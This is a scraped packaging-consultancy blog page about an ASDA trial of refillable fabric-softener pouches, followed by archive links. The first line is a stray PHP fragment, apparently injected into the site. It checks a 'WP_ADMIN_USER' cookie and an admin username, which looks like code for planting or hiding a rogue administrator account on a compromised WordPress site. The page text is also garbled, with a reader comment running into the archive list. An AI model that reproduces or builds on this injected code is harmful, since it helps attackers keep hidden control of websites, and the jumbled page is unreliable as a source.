if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Design Cognition » Blog Archive - your packaging design, development, project management & training partner & consultant

Interesting and all credit to ASDA for trying out this idea again.  It’s true, there is now far more emphasis placed on the amount and type of packaging used than there was when ASDA last tried this route, but there are other issues.  What proportion of the customers will actually remember to take the pouch back to the store with them and how messy could the filling be are just a couple of the issues that could arise.  It will be interesting to see how it gets on.

As for brands adopting this, I personally can’t see it happening any time soon.  Not because as this article suggests they could loose shelf presence, as I’m sure they would still have products on the shelves around it, but more because of the logistics, how would they stop their products being dispensed into an ASDA own pack.  I’m sure there are packaging solutions to this issue, with different shaped orifices and dispensing nozzles, but it will certainly all need to have been sorted before any of the big brands follow ASDA’s lead. (Jane Bear)

While the idea of refilling your own packs in store is not new, a new trial by ASDA supermarkets in the UK is again attempting to bring this idea from smaller niche outlets into the mainstream. Consumers are being offered ASDA private label fabric softener in a refillable plastic pouch that can be used up to 10 times in store.  To read the full article by Josh Stock, Euromonitor International just follow this link to Packaging World

Tags: , , , , ,

This entry was posted on Thursday, March 18th, 2010 at 2:41 pm and is filed under Environmental Issues, Recycling, Retailers. You can follow any responses to this entry through the RSS 2.0 feed. Responses are currently closed, but you can trackback from your own site.

One Comment

  1. maurice says:
    July 27, 2014 at 4:56 pm

    December 2024

  2. July 2015
  3. September 2014
  4. August 2014
  5. July 2014
  6. April 2014
  7. September 2013
  8. March 2013
  9. February 2013
  10. July 2012
  11. January 2012
  12. December 2011
  13. November 2011
  14. August 2011
  15. April 2011
  16. March 2011
  17. February 2011
  18. January 2011
  19. December 2010
  20. November 2010
  21. October 2010
  22. September 2010
  23. August 2010
  24. July 2010
  25. June 2010
  26. May 2010
  27. April 2010
  28. March 2010
  29. February 2010
  30. January 2010
  31. December 2009
  32. November 2009
  33. October 2009
  34. September 2009
  35. August 2009
  36. July 2009
  37. June 2009
  38. May 2009

  39. Tag Bag

  40. Tag Cloud

  41. Twitter Feed

    Posting tweet...